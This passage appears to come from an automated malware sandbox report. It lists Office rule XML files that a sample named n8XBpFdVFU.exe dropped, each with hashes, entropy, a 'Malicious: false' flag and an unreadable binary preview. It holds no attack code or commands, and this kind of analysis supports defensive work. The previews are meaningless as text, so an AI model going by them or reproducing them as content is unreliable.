Preview:	<?xml>....X..bIQ......(......S.q..}.}.S...>.....s.....U~P..e....W.c.V.....l.)(..=.-....V.Sb.'...'....q.V..Sia..Z1..]\.;.3.4;.).&.]........E."..$.c\|].a...`\....hh........S..^.{...q.5\|!/$E'.Z.O...'........"4........{.T@...s.m.M......].t.#..5L.....A..-..N?^.[...9x.Nq-.........=d.z.F.....K.Y.z.P.T.fN>...y......."!.q...oa..I....ITs.#...xHv..i. ..i...B.r90+..\|.3..4m.g..WK].z...l..@G....`.._....\|2..T..-.i...XS........GK24....O.....\|...........GSm...z..d+../(......B..6.,k,.z,P..@.z. z...+e..U...V..uw.....(>0Q.#4....S.xN..U.U.\d8......'0$.$.....V\|V....%..:._...+.$}..f%@...p..)k......./,d..s._..O_.]o..t..\....zI..h...r..R.C....N.K.!-..!V.7..Ya./..y.J...D.4%/.....2y..tr.7..Q7.r.'.AD..4- k.E}..h....4.u....r..(..J....N.G.DXlT+..ii.Mm.gb....([.0.......k.^].P/.}9~9.\........z..5.LR.-.8.r..a.?.y.....c.9...\|6=$.....$g.. AAib"A.IY.{.dy.G......&.VO........]^..P.....]wg....D..{....l..g3......UG}.N.bN6.`......lIP.T..w...$q.5..B.c.H.\|x.P.\[..u2.2w....C.X...M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.867371282928454
Encrypted:	false
SSDEEP:	48:/u9T/7s3DHJ4Vif4YlA61MS+0hw5M3jyTOd/+yTUo++D:qIzHJ4gf4Ylb1n+0hwejVt+ywo+G
MD5:	FE3C61E7E881DC6FF17828CFB620CFEB
SHA1:	94201C39BAD665E83B8E17F7AFA2B4BDE3C9CA6A
SHA-256:	E3A49B6CE3D6E31983CA874479537E7BE1D536E1A7C7908C81621CD4A4D0E2D0
SHA-512:	51F1AFE2BFB54BFCD9E9A18AA69F4C26665DAB497247DE0F6F796072AC96F6E3DE578F0C127FD15A4EEBB56309EC65C5683F5F97EC691184D4CB3B86F75FC231
Malicious:	false
Preview:	<?xmlc\|2.=O..........k....}.!cT...t..E..=..j.5)Nm.....t.,isms..>l~.7..5..'P<...(.g.h.i.&.^.........Za..7.[.!..O.+.n.L....Q.&>ma....#.#M.5..._ {,.8V...Z.K.l.\|...4q....7I.xg.w....t......W.....U<._/.J.^..`/.=.......T..rE.vD.E.W.Z].'.C...QL..w...:...w..(<.#....N...@....P..#......3AP>.t.PM.....S#.O.s.}h8.K..[N....3....!...'..8x....>.&.$.x...E.7.f_..1..<....}!............-.#h.N_.S../..S..B..,.........%..9.c.....K...[Wd.^)..m.-...[+..G...0.".....&.Z....V..'.;...."![@..]..%\|\|+.Z..[....3.7 ..w...d..z..@.!a.....{.!.o..R3.l.g..Rv.x;..P....![.Q.\|r.%..AY.@.ci...x,O..~......Wo..Sx..s.A>V..n...).....e]..i..Ei^"U.#.;.(..c...O(......._...U.4.."^...9..eE..M.UUHj..N.....c&6........<m.'.....{B.....m.8#h....I.'..!....t..."..K*...:EG.3m.A6...).%..Q...F...... ........c4.M.Q..v..AP<.?...W.......:l.....`..<....MH.....7z....6....B..._..3..K.-..K&...Sl.v..KT....B.....[.s.q......C5...z3aG..... .R......v.....Y..(HO#.........va.#..Ea.'.....i....a..F.....(...H.e.z..C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.884210997415643
Encrypted:	false
SSDEEP:	48:FBP6jKy2VbvHeOrsUd2IWbPysXvj8uDGD:gYe2IRKsX7q
MD5:	5FB1EDBC71093B516F16A52B2F880D14
SHA1:	1EFF91F33663785F4842BE4FF940D7133BE02F4A
SHA-256:	92A64EE4932CAE65FC83A0EC56C143BE8022F6AAC0B0D510D92B5D49A5FA0340
SHA-512:	F694663002E7EEB9A3604249B442CACE1C545DC577B34FE7A81C6699A10B20872FEBA8EF1B7F15A175DC0A3C29F20DABFCCAE8D0257638A25AD352EA3FF9E8C4
Malicious:	false
Preview:	<?xml. .....F.I.>-..y.@`P/...mD...94..H.......r..N.F.5....:$f.3.O..`o.@.s.H.....1.$.o\pK.......$]&.%...`...WX..a......>.A.......+C..._-..at8.`Y..9.r..Fi.y.....N'%....YJy..fF..X....5.. WM._7....q...&.Z.[.7".j.\.TN.ZL.i8...U\|{IsR...g.P..\|.....;g6E\|8+g..-(A.../...m.J..... .7._)\..F7...^..........=:...`.r),..M..6.@.-...S.K.\.....a..:h#..XA.v..p.._...L&.j...Px.8...-...\|..N,.r..:.c.W._...3..,.4c..........1-\|.....=fY..?._b..22....+}.g......6I.a..b...)g8..u:?..,...s. .f.OfXq....Rc.RC....j..F....k..K...Xx.r`.2...+:.:...qRn5...J'@.s.9!.;0.....\|...yt.$c...WW....rNe`.......3.s.W..Y.n.}....g.....n.8..m..4....6P....}..Uz.......:..E........]\H..3Gph..a}..(......+l...>%..MlFoF...s..r%.....+k......k.......a....8HZ[.zQ.S..QgV..0$.Jo...c..<..u...K.i..$b.\......Cv...N].,...$!.`K...\g.MH].L%^.e+....hM..@[K..z+..}U.yD.At...2.N..Xh.C6.Y/.]X3..XHc O..P...S&...E...!.L.=..~.Y.1i..0..C...R.............d.Tk..tt.....9..aDh......I.L...".,..m.b..bh.qXY.RI$..~....tfM

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.907328406359151
Encrypted:	false
SSDEEP:	48:RktGyCzDFJbQ/SNJP2FmYpcY5V8Nhc+ORdRoO2Ohk+D:RCCVCF3LsGxruO2E
MD5:	430D356AD96E6105E0433BB616824E42
SHA1:	49DB954AB82B77DCDE535CDB4F2BED26A11C7195
SHA-256:	E43A968AD88BB38A9023A450561DEFE401EDCFDB0BE0D37906F404F27DF9CAC7
SHA-512:	29B7E58A96B5FFB0C9BA496E0E516E7147EA7FFA36354B1348D1E20C013F58DA560B838D220CA0F14353AC6DF335D086810295054D46C8D80135E295173258A8
Malicious:	false
Preview:	<?xml...4...nV..a....wx..1....C.Ryo ....L...xQ......d.\....!$.].I&&.....9.+FN...rEQ.....C2.......t_.LkddGJ.Z.%c .."...G;:x.-..t.........6.qy...q.X.$....Y.iu.t..O.Q. ....T.-h+...q...+...Z'J......[....SB.067:.0C$.....U..&.j.P.W..}...F.3.Gl...1....Xy<U..`...^e0+X.....R...\|3<...j..Ob.g/e..eFv.7~........5....u.LS...w.]..6...I.6!..a..6..j......<kb..%uf........a_.T+.....nZ6x..p.;<....N5...T..VZ.B...LaE.yz.....K.d=..7.z...>.H...XY,...S....&..._.m'....$.(...:=.N....>.c,N^j.....p-..0....@..%.>.\|@-...{....N,..0....J.G:......}...i...7..=/.@.I.#.._u..-../.OW..0v.........x.._..#K...\|.....9#1..~...2..(..>.9%...a........,......1w.....z...aq5.P\|d.6O...}..itn.&&<.Y^..-.?.1).%.u..a."..iO...E....O...}..r....w;:..`.&..H/.....u.."....y.....Ek=;XTR.B.-z...0#a.x..c.....8.....E..&.9p. .9.GP$T...>r..iR.. .........;a.S. .2.DwQE%.P...T......oa...L.>m.i.$?.....!.J.......p$.iI....t...-..C.U.....l;......W..Q........qd../....UZ..E21..b..DB..V.......O.u.(."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.881643674000652
Encrypted:	false
SSDEEP:	48:Sgnw6/hIgslSCR8EJ2I6i4xWXIJ3prwOD:Sgn0zICR8EJB6F8XUk2
MD5:	96D74519A0DC60C38FB021FDE4FE4071
SHA1:	E5832E64D0F15070786EA10DE42EEB930DEB20E8
SHA-256:	5FF980FEB106F087FBFAB2D4BAD1963B813FF66055E1600747A61A26295F669F
SHA-512:	85AEAD52456D4BF9BF57B1538942D13D8571E357E6CC9A2F0E36C2BC2F90D3F2260518DAF5612F2A180A9D6537F2FFFE1ECBB4E192771E9206AFCC8003B30E3F
Malicious:	false
Preview:	<?xml..h\|>...6.A..... ......:^....[.7h.b..=h9.\|.......\....\w....C_$...[......c...}NO..a...Tk.o7u....)..K~..lF.....u@......:..%.f.s.+..T...z(;Y....=..cQ.P.t.C\|\s......cX.T.g..z.)....XY...v..?y.7`......L.`I..~.Xz[.Z=..=)D6.......U.^y.v.........S3!v+,...>.@.......W.....s}......F..}sC..3....tS.SH...i.q..u.A-f.-V..G^8..d_Id..2..3...%}T.j6).>2..<."Aq.......5E.../M{..T.D...~a.1OO.)..... .......<...G'0_...p%.(.2D..^.G..O.7...UGyTm...H.dw.?..w]..9..n.OV..a..vY...Q.m......B]M<.?.May.j...w.[...G..].=.2...p....hzQm......H.H.....I:........3:.[.'..u0W.&...f.......z...$.!:q.......zA.T..@c....8.<....C...s>.:F.W.z.j5......}..E...v..dq,My..{.?.~B..dQ.......n.l.h..>.....8Xr.i+.......Jt..VP..&.S...d...w..!(_..l..g..b..&.._.KG....\|..QG4.Un...{......;..... .#.d...6........!..Kv.C.e.U6aTgp........,.._......I.Zb0.vL!.V......x..QKn.\`.M.Dijf...:...Vu...u........!.d....I..?.}N..@(.j..(..n..Z_[. ..d.W_.....]..I...`... ..@.....~...`x.M5j..C..a.......6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.871866432677072
Encrypted:	false
SSDEEP:	48:ch4pDbch8ql53qUlmMfmfrYWmHFx9F7wD:C4J4uQtq0mM+fFKFx9ts
MD5:	FCEFC27CEC54DC84D93D7BC32C6EA9E2
SHA1:	BB6C60F095A12779913EDF4A3A6F768CBB0E5205
SHA-256:	B78D04F9784E1E921183CBA794AD66FC33815AB0EE400571EA1D11E107B8D09F
SHA-512:	C8C919AE0263130166F72CA5E4BDF2932C0087E428E39AE74423DA112A87A43B78415A1292AD15EE0D31D06657FA098E176F89BC1BA485A0819275658BDC6927
Malicious:	false
Preview:	<?xmlk.M..Z..U...`=\|......Y...........g..................2......f].L.;s.VO..R..,.2;...B...a..`W.g].(...'....h.U.i....m..C#.2n0D..e....17.c.E4n.X.K.X.g......n.9...E.A.......-..............dE.1_.........Ea.....d..b.%.N.E[.\.<...;=T..@Y...2.8}}.K=P.......1.'.<. ..........Y.....BT....4.m..].d......?..79}...0.......Q9E!}.........f..,.].h.9.....y..[9.)b..7T..........aoz.U........!m.]VV.,..V#.sWt.$..2.}.....I.T...a.......h.^!..<..(.Z.J.J.......j.....&%.@....$I.._...Z5.8SQ.r.mc..(.-f..~.Q.......\.........,..E.}....z.....d.V...;2.p.<9/.@.[0...^.;U.@.3.....?.Wt...D..HU/l]>.j.3.J...^...WA......7..l7.R".ME....).W.83....'.".r.y..&..~@.."W..q.......c...w.....Q....a.g.T.Q.W.G.~..Xl&..Ia._..N...?+.".......:Q.vb .Q......r..~?.k4B..qU._..4M.y.)._.#...(\|7.{D^[#..5.Y.a...._...h0N0~...V.N.....^i....N..wk....d.e.YYN.....d..>....(.......)$...c.-.......J.(r.$.-.n..?sJ.....u~LEV..).{b`........02..n...,...s.-y.5+#.U...Z<WT.K.T..V;.......K....S....U.`B#..@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.879554216989331
Encrypted:	false
SSDEEP:	48:yUXTeZ8GWDrEXJO/WTT8FznDp5RtYDqNtQFnzD:yU485DrEXJONFzF5oONKFf
MD5:	85958DE11BC5CC51D73A08D18E78E64B
SHA1:	105B2A1A0A4012D401ED3B8403259A955B3EE73A
SHA-256:	8455EF41BBBB51E716442588BD5F3831074EEE7AE98C56CEA17023C305E325B6
SHA-512:	245AD3D1AECAACFC41D9E14AC548FD521DD5E2E1E58ACE6523B8A275BE2A5380F2971D3BD50DFB9BFBDEA6A30BA3028814F938ECCD9BE4BB99BA5A8B633DEB0C
Malicious:	false
Preview:	<?xml.1.".K......#\..ke......;=...._....".u.....O8.+......ua.[\|.?d....+_o........Y.l\|...4...B. .).p...y........a+......6_c........f5.O....V..5hZ%....Y.Q.y.0...B.?u...E-Ih.."q..VO...64+7Z..4.....IH@1F.=...0.......U5..........A...I.....<.l[...J).).X......H...S{....R..5...Sp...#U.{S.iXM.>....vU]......R.2F..p...#D...R.:..6..^\.....#N.;...}...-...J.8.....c..\|..^...d..BJ....s.&YghO..]N:.....i......\|...h\|.w...v...S1uK...irB.ZA..._...i.>;.../..u<..m......J.yf.2...G..) h.....M!.~H+a...d..jGCE.........JRTU...d@..ZI.Fd..6.).;`!v...GH...7.p.e..c.<.XS......a:.I.T....0.........?...C........w...u.#.2...;J..a6"Q..'..oN...V....qHq.G.../..e`...N.........z.+..2$.....?..sYxo.E.?.w1p....L.^....63.h..G..[kg!....b..7.v...\~EP...Y2...^9.b..mo"j..f.7.G:.$..xy....Ln...8a....0Y.W4&x...}.1f..Jqm...v\..5amz.....5..4.*.r.th[...K......#.YB/?..#.n....({...s....B2....K.U....3.A..a5..6....oC.....RV.){...#.xC...V..qU..'.j........s...b._-0..$....J...D(+...ELR.1=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.868713294042263
Encrypted:	false
SSDEEP:	48:D+hvkDxp8Od03hbuIxuEMc1O2+2K/5Bk9OOOkEQD:mvyr0xiIx5zcGu5BSOOxEM
MD5:	431C42D011B924FB5D3D451C10DB1345
SHA1:	0308E55110CE072B1D1884D9C56CC433F9D8A2F7
SHA-256:	5DF33C89E7587E34CCF6CAD6CC7CDC28B80888AC75332B896DB341B51433D3F5
SHA-512:	C87526E676C80ADBFFF26AD866FF14CA7286757BEA92BF049285782D5BEE97F798A62EFF02817F84A2CC652245D9D56544F4BE315A09048BA95BCAE2AA7A4209
Malicious:	false
Preview:	<?xmlz....y.k1.F..o.....'t.0\r3.>_.C.....b.Gz.v.jH.....Z?.J [.T.n..1.KB.....%-i.....[......@X.W....1.k.........L&.oX..~dH..R.q..rg..S......C$..2hq^.U..(8_.a.x/.a..3......y%d..3.....V.../P..I...9.4...Zy.a..?.....!h.;t.....P\|......".[U..R..#L.H].s..0o0.'.a...R..U..}9y.4.D..B..D...>.g......=7.B..,...8.......6.W?.CA......Cg.E.w..$....i.zr.......bp..{..~.9...=~+.?...5.E..-..9.1...j.......t^ya~&...."hj;s.A......sI7.G.2.++.&#..`.....GD..$..?..mr9..B.y:{.a..Z=.........[.g.q...f..J..RA.~j.sHH.N.7/f..di....-y..N.........T...s.]O..T&.t.LN..[.KZ.......4..>8._T........-......f[.P..4........bqt..W..v........m.^.?~:)c....)).R.:Z.*.. ....y.DtiX..;...8T.SM3...=....y.J..@........q5...?C.b.XKSs..=..z..c....o..Q;.W."4...M.......+..Qb...C...e.N...L....p.8.u....>.h`........v..Y......."!..m.L..I....\|..g..N)....E.........+.t..N..D.S0..[j.....C.[..\|w:..m.;0..R..N;..M:...,~.S..!.}'.?..O#..~...E..M....u..R.?X.7d...G...al....y7-.........]f.G.A.R...(..g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.895480308774629
Encrypted:	false
SSDEEP:	24:QWNHulddWBy93M1y8qzUGMA0FGnKJp9Dm9KrEsRbwf37eQPyJBpBPcfe4ReCfw7o:5HulnAY3M1cnKow3Rbux6jBwXRokNMQD
MD5:	2F3FCD225E352AC98C3D311CB5B32DE0
SHA1:	36483C99A9C76D68DE65A2B6DD5CB16A160E172B
SHA-256:	CE44F1B8A0B2D1418D744E2DABBAB0952BE095A25D14074F06086885CAD9F68D
SHA-512:	DBE72C83A66C6580C6BD391159F7CA6FFB97E75C7A55AAC99954856EE36984355CC9F34F6A60D1AD37206B0DE23452B0D13F3371D8D5BC4EB1E5053DC9BAF6A3
Malicious:	false
Preview:	<?xml3b.z..2d.D.$\|.(..._b+..s...Q.o^..g.O.....}.......;.1..yE......b....c..t?...1.Zn..o.6.2.".............b.8..v..._t.Q.....7.......G...rl.f....O..f.z.s....h.(......yrDK....."J.w....[.i;.....~-..E.d._.....kS.X....{...l...v..[...{....y..'.Rj.)..:....1. ..k.9.-(.T.m.......M mv.N...g........r.....\b).R.%-....!.k8...d.f.AE..s.k.6..#.........%.....p.5....V.xTh...Ic..p.#=.UW.a~1..g.I....ux...2jt...^..,.......l....%q.p...q.....e...$...\i..G.t}^..i.0j~.f.wVY....gd.EHn....#....&..8...9...Dd..b."RD+.K..n....t.&.).=H...-H.;5..}\....Eu..kJ3N.)..A.q.....UD.\..)..6t..o.T.U.....8f.d.U..?.C.,...D......_....XK.....'.%\...#...W..x.._...yvd.i.Z`A.$.......6.......%.'.._.=.<jL.l...Gr..d.g.=.....;...Q..0r..Q..5rn.1.>..b.]..:K.....F...S.IZ .........7G......Ku_.....g....R=\|{.N...L.j.v...J.. ;1.2".........7.,.^U.;R...).T......tA.J..?..)...`.UV.Dr.E.J.2.W......5.E..ZyDIB...".F..U=........gf........i.M....n09.s...h..W.1B...G..9............Y...g.a...dY.\|0]..FY(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.877781433334169
Encrypted:	false
SSDEEP:	24:cdX8z0Udy64c3w/8B2XiYzIMDcxZuLUR7SE0IDPT35D07SAJ8woA1BsbD:4w0Sy6Bg/8+x9cxgLq7sW735DMv8w/ID
MD5:	A29E387336451FE8C41BAF8F9E0E4BAD
SHA1:	E71D70E05BE118314C12081EFEE59439B8467938
SHA-256:	1C01381835A95620ECA154828C5CA11D5D19182981EB86483EE7CD5B995E036A
SHA-512:	2FAE0AE95E6BA7F9C77A673C35DCF8E1176A0E57B6BC419E871CE10EC3244ADBD4A91A229F1E1E47D188062C655F4AB8C4CB9EB7720281324F71C87FD7CDCD53
Malicious:	false
Preview:	<?xml..Lu..A...l._.6b..=....4... gA.y.pp.....N.O.U..G.]..2....x...f...h....\|.W...........;..&....+.....M.8W..I.....0...Y2tE3.g...b..M+d....DH."....,.[)... .....;L...+9.L.....a..jlE.....R>...nyD.x."..+..{.3...``.H....._..(......Zj..-...Of.Z".-..$.G4qCz....Me\|..%%..k+x+$..sI.Lb,..j>a..r....95X.u......].......P'>.<fL........OSGH.xYQs>..B3..zZ...4..{.(...Z...k~..{w.;..}m.....xzK.>.e.......D.?.G'..p.\|.$d.9%.A.=..QyS%..A."....o.v+.....H..F'l;2/.D(\|..2m..\|.....X3...%....".8...\./wh...)...?.f.m..Hc......0.,...N.....r.{m..h.<#....#I0<...&)E^EG."m.k.p.(..]..u..u.&I'.F......W....(.n.k...mb!.,B......[..B .....};...) .../.....;.y..[...ov..Dj.Z?."?.K.....b......a.O,(.l..5.~.Kg...z.<.../....%......F.N..M%.7D9.-....Zvu..\|WIWwZ...sA..6....j........f..m...m./l...^..)..xH...5....LK.........)x..#.\|..j.o.~.Cy...f.Zt3..,{...13..c.J...Ti.t2..*...(..&...~......&......1:.....?(.r\|.....n.K.,...Ofi.W..v#kMJ.S.U..Z.{..\|...]..._.o........A....A.T.%./..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.889421862616495
Encrypted:	false
SSDEEP:	48:b/D17dwcfdvH62G5g7VcuNrRvqabLiWKD:b/D17dwc1vHE5g7lNrdVC
MD5:	27744AEBDE1605B6EDCB90D5CE057EB3
SHA1:	913C73B9862056B16BAF17D10D57A23466C5CC29
SHA-256:	048A682C5BE793B97CAFE91C2653F6A53FB6946F954B7B932DF65D0FB7AC1F5F
SHA-512:	639D6F333C491981E086CAFF4F1C65349D5BC906ACE36F157AAB066B497C6FD183F21AF27B5A13471F72FB1798505BEDF9E5415C57D4CE8E925F380A0ED75F41
Malicious:	false
Preview:	<?xmlN_.{'.:.dZ..."i.1..zwe..S.H?.....o...n.......A........t.0.....7......i..h..U.Xz.....o...(6..c4..O.?^......rSU.=c.P9W..Y...8.n..".W>.....{:+...-..:.a.;9..I.l....6n]......Nh.;..w....>.}..x.l.Q.I.9W.u.`s.3.!......u..T.K..hL.[KDq.....H._h.W..r.9=Z.[.x*- (.....I..]1%.........$l.w&.h......DR."X.p.....j..`E...d.{.E.r.3...m.....$..]....7.....Z....EZ5&.....J..S@.H....<B.Jm.......X...n(.i.~l..#Y.(U\.,.%..6....0.f..d..+._.. ..}......ZB...S."$....@...PB.8..2.~.....Z..-.<m&.^>.N....V.M`.R`v.7.-.."y......{h.....f.".V.CI/...P.eis...Z.{..V.w...{Iw$...pK...(...G..T.e..Kp.a'.yP.E!....M[.8.opeu.....x..7B.z5......K..:p:..t.iZ....&l..........eu..aS.....t(.P ..W..2.I).K.%c.".v3v.e...G-%<I,R.....D..........D.6....P.\....y...6....t.;......P=f.8B.V...\|...w....O.....#2nG...T..Y..Lf... a.........<...6^r.MO.r...r..H..1..7...^}.n.o...F.T.[...@..p}...3..H@........U...<T..........t~.a./....[N.D<....z...C0A.....9..%2>}...Wr\c...2Sn..K..b..:..<..O..$..mL.Q.6d]Rl.A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.886039576612444
Encrypted:	false
SSDEEP:	48:dbEsF7hjfzlgZ2dl70Z7I1wN/7hymMfD827FOD:lEsrfzlgmWZ7I1M/7hymMX2
MD5:	0171DEC3C33D90181E4B7A417DECA595
SHA1:	42D9566CF488BDD90871AE89941B13CBF4E1ED7A
SHA-256:	A6FF4F48DA002CE84FA3636A5B8E74D16642B0B839297AE555DE2DDDCFB2126B
SHA-512:	7B5666218B3BDC8428F377BA6E0836D0D18419E9B679930C208E4123B4585B26674E6939B8E07672E8DA652E234D816AD2B6F812E52E42C5B129973D802F5B67
Malicious:	false
Preview:	<?xmli.x....cM....l.....I.A.f.t4..o....H..._......Z!.(..._..8.H&.}.F.s-<.3.^..z.H..b.rn....S.!.T.....\pwS.."...ZB#M.j=."..A......~:.au.y-Z.V.5@W.h.$...`;.1l.9..g....kA.~....g..n.....#0v.}f....l...@..A.:..v..c.Z.6..U"+...G..F.z...}......kYs.^0.}#..^u...M.?..\|q.6...w....$?q]....n..cC......_..\&T0.&...,...+..a.UD..P.R...p.UE.......b..c._.e..{.=..I...uGs.$..t..1....(.n....v...M...{..C1...p7.. .....Z...2u....Am..._..D...T...=~..U'..'R....W..r..(...X.._....w..d.Q.Q.........'(.....G......B.h..'.o7.JAQL...U#...U..G.u.G..q.....]...U9.R5E$}.f\|AFH....:(A.'A...{.....#G/...7...r..B....?1......8^.......J.r:.h~........E.ta.).=.m...,u........{4........}...!.{.(w ...]-v....vY.'M..OI......_W.0....1k/v.ry..tW@....Wo...(.H..0./W..:.-.....6....&~.n\|.b..a[....&....<......<..x....@"O.\|...E.R...I.f../$..}'.w..V...eb.-.A..{nGv."JLX..zP..3.m.`..Cw.?..BZ.j.ps...-v.z$...Uj.l.....^6...Mw.D.....`-......pnc.+.. Ti.t.DO...A1.F.a.&b..h^..h.9V..4...j..V..b.U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.892311146121266
Encrypted:	false
SSDEEP:	48:7HP4x09Ss4jDIJT4nKFIQmdsoW0O80/Zu5CoD:7HPz54/IinKFjm80O9/IH
MD5:	BD1AD6A8B370953F893DDA80C1794B6F
SHA1:	2480BB8EAF781C0F080ABDF1AF664D7FE003C2B0
SHA-256:	48C570A1E1A27C64E804486EAEB1F670896E393ECF9ADA84AC0CC4474C65D398
SHA-512:	E1E294EBA2A22E77F3B3136E010742227090C8A9F6578A919FBBB59AD1642F587DD5AAE390C254AFB0C9941CB4C5C9F7B703BB1DB718D61CD398ABF9F8B6106F
Malicious:	false
Preview:	<?xmlT.....iq.....w.bA...n..0..p{9..E.{....\;ei.!....I.\.LN?...._6.4;.....-......&.h.....1_...d.?V..-.1p:=..8....jtv...$...../.Rs.(...ud...U=..VV...h%@.i.{.\|....i.N.#....E..w..%]90a.\.o...........hAO.oYo.".O......S..37B.V<5..........YGLq........#..K^q....K-y\.......!./w..\|..t;u\|.'.=....N...._<H....'.4n^..IO...=9..Fs.._..C..~.uB....92.{.L.0.S......QA.Z......'/{.h<..+.e.4.x.~.e"Wj;........+o.h..S_.........At...f.k...Xx....S..@'..A.a......`..t....'....r_...........~.1............K.}C.<....7\|..mi..Z.)...T...\|...p..MD7.q;k...K..DwP'W.7}...AM.o${.M....4R.....d.i$.Zz..PE%s-.k/Z..5..0...o-...=..U.../\|U......P.$..QQ..[[.r.X.f.x{c.}^hO....0v.k.O..Zh..%.M.X....B..@T..5...-M&..l)#.Y%L.5....W... ..`..>.o......R..q....L)...!m.J.......O.$...Pm..4...^k.A..W...*l[..e.X{.y....u..z.......YC.....!..x...B.YKa....L...m."k...v...?EK.o.:.h{.....O.....y.E.4.P....%.R.k..O...L}..-...l...}3.).<:....{P...h........7..Z....;...._RBNHzf#G .F3x..d/#.yxle.g.8..f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.885596647611243
Encrypted:	false
SSDEEP:	48:D39jnCafMsRyZvsTZ1J8G8l16qMOp+BTCZ1omoGJQzNLD:DRnCzWOGrg+wnlkl
MD5:	EFE578C4A584664F47CE57E6793C0B6B
SHA1:	EEBE11A377F350AA57CDF336A7A695840C1DA293
SHA-256:	106ED2A00533CCE8BEEA957EFC9D5935BC8EB06408D8684ABD30303E23BCABB5
SHA-512:	4980AB9C0BA3AF531EF75E6E6FDA167231CEC26309CB52DF8DF8D027ED6CFD177F5CF3998ADCD5CC48375E70AD9E45DCD12D9DE2A9A21F7EA8BFE22B1E7F3F45
Malicious:	false
Preview:	<?xml..Z.h~>...j~.e4.....q.2.gi...v_.9..iI.]Wo..i`&=<...'.r.;.I...~.G........}%A..}'..Y/f...\|\|...}&$./.....56.6..<.\%m.2My....xL...@...."h...b)......>..Q..]...........\......:.G.$....w...S.UH.m.6.:.x!.!.....v.....OH..R.j..V..F6.8&...jFS.5.....JT....o.K.q.1.5...W.!....,r....$b.U.D.}n...p.e.R.f...F.m..9.?$.%.5R.2a$.`.&wc..-Fw!..^^.C.45.aSe...O.T...%s......b.....{.\.)..^....S.f....d^...O=-.......;.....5Z:..?V`I.q...\|.\|....+i!..wK....a.........."...A$...q.^.0u..r#.3.f..m..+V.0..g.b~T..7LhdA$..G...T...#.]......k...S."..?.<.Bz..1I.:U......,...v.t".=.{=Pw.7{....g.X...[.~.O..o..dZi.P(..X...w.@.....kXR..TK.#DL/..w.)..y.=lK....?_..}K......NERqd.V.u)dl.@@6l.Gh]n^....P5eh0.4.f,]..o....:..../G9..hy.....[......Y7"%..y..e.v88..k...DT..i{.<.z...(.l..ij...al...SMf.ab.......9....u..(....]..,mV.{.pun.<...N..q..2...UC.\|..qv.e......N....d%.....if+~.JM.......'...Jh.t...2q..tL..+j.#..;AW...{...k.I.rXMx....d!..o............(....F......Z.z.}..s....y....HGu&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.909114672536184
Encrypted:	false
SSDEEP:	48:3QCAi94SZQ5VyHjaj/Rcdcbugg3un05uLD:3QNcbsyH2/Rcd3XeV
MD5:	101A0B11F98A488DD8D0C735911FD7B9
SHA1:	95D3E84D4A5A918FDE33A18494066B4521B4A946
SHA-256:	2F6F8F6CBE84523A658093E13F45454711CDBB95EA1821DAE00A250593FA2540
SHA-512:	8D0CC233D4054563489EA2CE5D8FF8C4284E96589387D677411F204A298FDE4FE80180F4DF0F50D471F3F0E57E914154EBE0797F778A762D52E74EE43657766D
Malicious:	false
